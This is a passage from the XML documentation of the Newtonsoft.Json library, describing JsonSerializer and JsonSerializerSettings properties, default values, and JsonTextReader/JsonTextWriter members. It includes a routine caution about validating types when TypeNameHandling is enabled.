name=\"P:Newtonsoft.Json.JsonSerializer.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional JSON content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional JSON content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(System.IO.TextReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(Newtonsoft.Json.JsonReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to deserialize.</param>\n            <returns>The <see cref=\"T:System.Object\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(System.IO.TextReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:System.IO.TextReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize``1(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <typeparam name=\"T\">The type of the object to deserialize.</typeparam>\n            <returns>The instance of <typeparamref name=\"T\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is Auto to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializerSettings\">\n            <summary>\n            Specifies the settings on a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) are handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n            <value>Reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n            <value>Missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n            <value>Null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Converters\">\n            <summary>\n            Gets or sets a <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> collection that will be used during serialization.\n            </summary>\n            <value>The converters.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n            <value>The preserve references handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>The reference resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolverProvider\">\n            <summary>\n            Gets or sets a function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>A function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Error\">\n            <summary>\n            Gets or sets the error handler called during serialization and deserialization.\n            </summary>\n            <value>The error handler called during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializerSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to JSON text data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.#ctor(System.IO.TextReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextReader\"/> class with the specified <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the JSON data to read.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.PropertyNameTable\">\n            <summary>\n            Gets or sets the reader's property name table.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.ArrayPool\">\n            <summary>\n            Gets or sets the reader's character buffer pool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>\n            The current line number or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>\n            The current line position or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.ArrayPool\">\n            <summary>\n            Gets or sets the writer's character array pool.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\">\n            <summary>\n            Gets or sets how many <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/>s to write for each level in the hierarchy when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteChar\">\n            <summary>\n            Gets or sets which character to use to quote attribute values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\">\n            <summary>\n            Gets or sets which character to use for indenting when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteName\">\n            <summary>\n            Gets or sets a value indicating whether object names will be surrounded with quotes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.#ctor(System.IO.TextWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/> class using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Flush\">\n            <summary>\n            Flushes 